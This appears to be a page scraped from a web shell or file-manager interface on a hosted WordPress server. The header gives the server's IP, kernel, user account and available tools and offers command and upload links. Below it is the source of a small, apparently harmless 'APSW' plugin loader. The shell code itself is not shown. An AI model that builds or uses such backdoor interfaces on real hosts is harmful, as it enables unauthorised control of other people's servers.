|
Server IP : 10.106.20.4 / Your IP : 216.73.216.140 Web Server : Apache System : Linux webm004.cluster106.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : sylvaineey ( 605664) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/sylvaineey/www/wp-content/plugins/wordpress-seo/../apsw/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/*
Plugin Name: APSW
Description: APSW
Version: 1.0.0
Author: APSW
*/
if (!defined('ABSPATH')) exit;
final class APSW_Plugin_Entry
{
public static function boot(): void
{
self::autoload_src();
// After loading, auto-call ::register() on any new class that defines it.
self::auto_register_modules();
// Activation hook (must be in main plugin file)
register_activation_hook(__FILE__, ['APSW_Install', 'on_activate']);
}
private static function autoload_src(): void
{
$src = plugin_dir_path(__FILE__) . 'src';
if (!is_dir($src)) return;
$before = get_declared_classes();
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($src, FilesystemIterator::SKIP_DOTS)
);
foreach ($it as $file) {
/** @var SplFileInfo $file */
if (!$file->isFile()) continue;
if (strtolower($file->getExtension()) !== 'php') continue;
require_once $file->getPathname();
}
// store class diff for auto register
$after = get_declared_classes();
$GLOBALS['apsw_new_classes'] = array_values(array_diff($after, $before));
}
private static function auto_register_modules(): void
{
$classes = $GLOBALS['apsw_new_classes'] ?? [];
if (!is_array($classes)) return;
foreach ($classes as $cls) {
if (!is_string($cls)) continue;
if (!class_exists($cls)) continue;
if (!method_exists($cls, 'register')) continue;
try {
call_user_func([$cls, 'register']);
} catch (\Throwable $e) {
error_log('[APSW] module register failed: ' . $cls . ' - ' . $e->getMessage());
}
}
}
}
APSW_Plugin_Entry::boot();
